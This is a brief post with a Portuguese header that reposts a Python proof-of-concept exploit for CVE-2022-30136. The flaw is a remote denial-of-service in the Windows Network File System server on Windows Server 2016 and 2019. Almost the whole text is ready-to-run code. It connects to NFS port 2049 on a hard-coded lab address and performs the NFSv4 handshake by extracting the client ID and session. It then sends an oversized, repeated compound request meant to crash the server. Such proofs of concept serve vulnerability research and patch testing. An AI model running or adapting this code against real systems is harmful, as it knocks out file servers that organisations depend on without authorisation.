CVE-2022-30136 Windows Network File System Remote exploit (DoS) PoC
PoC : https://github.com/fortra/CVE-2022-30136
Detalhes: https://www.coresecurity.com/core-l... 136-windows-network-file-system-vulnerability
Produtos afetados: servidores Windows 2016, 2019
import socket
import sys
import binascii
import time
import struct
TARGET_IP = "192.168.126.130"
port=2049
TEST_MSG = b"\x80\x00\x00\x4c\x00\x00\x00\x01\x00\x00" \
b"\x00\x00\x00\x00\x00\x02\x00\x01\x86\xa3\x00\x00\x00\x04\x00\x00" \
b"\x00\x00\x00\x00\x00\x01\x00\x00\x00\x24\xda\x44\xd1\x44\x00\x00" \
b"\x00\x0f\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x32\x36\x2e\x31\x33" \
b"\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
sock1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock1.connect((TARGET_IP, port))
sock1.send(bytes(TEST_MSG))
sock1.settimeout(1.0)
print("[+] Sent TestMSG for Async Call")
TEST_MSG=b"\x80\x00\x00\xc4\x00\x00\x00\x02\x00\x00" \
b"\x00\x00\x00\x00\x00\x02\x00\x01\x86\xa3\x00\x00\x00\x04\x00\x00" \
b"\x00\x01\x00\x00\x00\x01\x00\x00\x00\x24\xda\x44\xd5\xd0\x00\x00" \
b"\x00\x0f\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x32\x36\x2e\x31\x33" \
b"\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00" \
b"\x00\x01\x00\x00\x00\x2a\x00\x00\x00\x00\x62\xb3\x09\x00\x00\x00" \
b"\x00\x24\x37\x37\x35\x39\x62\x33\x31\x38\x2d\x32\x62\x65\x30\x2d" \
b"\x34\x30\x35\x65\x2d\x61\x66\x64\x38\x2d\x66\x66\x64\x62\x32\x35" \
b"\x38\x65\x64\x35\x34\x35\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00" \
b"\x00\x01\x00\x00\x00\x09\x6c\x6f\x63\x61\x6c\x68\x6f\x73\x74\x00" \
b"\x00\x00\x00\x00\x00\x0b\x4e\x46\x53\x20\x43\x6c\x69\x65\x6e\x74" \
b"\x20\x00\x00\x00\x00\x00\x62\xb3\x09\x00\x00\x00\x00\x00\x00\x00" \
b"\x00\x00"
a=b""
sock1.send(bytes(TEST_MSG))
for i in range (4):
try:
a+=sock1.recv(1024)
except:
pass
index=a.find(b"\x2a")
print ("INDEX %s"%index)
clientid=a[index+5:index+13]
print("CLIENTID = %s"%clientid)
seqid=a[index+13:index+13+4]
#seqid = b'\x00\x00\x00\x01'
print("SEQID = %s"%seqid)
TEST_MSG=b"\x80\x00\x00\xd4\x00\x00\x00\x03\x00\x00" \
b"\x00\x00\x00\x00\x00\x02\x00\x01\x86\xa3\x00\x00\x00\x04\x00\x00" \
b"\x00\x01\x00\x00\x00\x01\x00\x00\x00\x24\xda\x4f\x96\x8c\x00\x00" \
b"\x00\x0f\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x32\x36\x2e\x31\x33" \
b"\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00" \
b"\x00\x01\x00\x00\x00\x2b"+ clientid+ seqid+ \
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x04\x14\x00\x10" \
b"\x03\x88\x00\x00\x0b\x34\x00\x00\x00\x50\x00\x00\x00\x80\x00\x00" \
b"\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x10\x00\x00\x00" \
b"\x00\x00\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x00\x40\x00" \
b"\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x3e\x4a\xf4\xb9\x00\x00" \
b"\x00\x0f\x44\x45\x53\x4b\x54\x4f\x50\x2d\x47\x43\x45\x36\x4f\x49" \
b"\x48\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
#b"\x00\x00"
sock1.send(bytes(TEST_MSG))
a=b""
for i in range (4):
try:
a+=sock1.recv(1024)
except:
pass
index=a.find(b"\x2b")
print ("INDEX %s"%index)
session=a[index+5:index+5+16]
print("SESSION = %s"%session)
seqid = b'\x00\x00\x00\x01'
STRING2= 0x400 * b"B"
strlargo2=struct.pack(">L",len(STRING2))
pad= strlargo2 + STRING2
STRING3= 0x10 * b"A"
strlargo3=struct.pack(">L",len(STRING3))
pad3= strlargo3 + STRING3
print("pad3 = %r"%pad3)
num=50
oper= struct.pack(">L",2+num)
TEST_MSG2=b"\x00\x00\x00\x04\x00\x00" \
b"\x00\x00\x00\x00\x00\x02\x00\x01\x86\xa3\x00\x00\x00\x04\x00\x00" \
b"\x00\x01\x00\x00\x00\x01\x00\x00\x00\x24\xda\x57\x45\xf3"+ pad3 + b"\x00" \
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
b"\x00\x00" + pad3 + pad + b"\x00\x00\x00\x01" + oper +\
b"\x00\x00\x00\x35" + session+ seqid+ b"\x00\x00\x00\x00\x00\x00" \
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x18"
TEST_MSG =b"\x00\x00\x00\x2a\x00\x00\x00\x00\x62\xb3\x09\x00\x00\x00" \
b"\x00\x24\x37\x37\x35\x39\x62\x33\x31\x38\x2d\x32\x62\x65\x30\x2d" \
b"\x34\x30\x35\x65\x2d\x61\x66\x64\x38\x2d\x66\x66\x64\x62\x32\x35" \
b"\x38\x65\x64\x35\x34\x35\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00" \
b"\x00\x01\x00\x00\x00\x09\x6c\x6f\x63\x61\x6c\x68\x6f\x73\x74\x00" \
b"\x00\x00\x00\x00\x00\x0b\x4e\x46\x53\x20\x43\x6c\x69\x65\x6e\x74" \
b"\x20\x00\x00\x00\x00\x00\x62\xb3\x09\x00\x00\x00" \
b"\x00\x00"
TEST_MSG= TEST_MSG * num
final= b"\x00"* 0x4
largo=len(TEST_MSG2+TEST_MSG+final)
TEST_MSG1= b"\x80\x00"+ struct.pack(">h", largo)
print("LENGTH = " + hex(largo))
print("Bytelength = %r"%TEST_MSG1)
sock1.send(bytes(TEST_MSG1+TEST_MSG2+TEST_MSG+final))
time.sleep(5)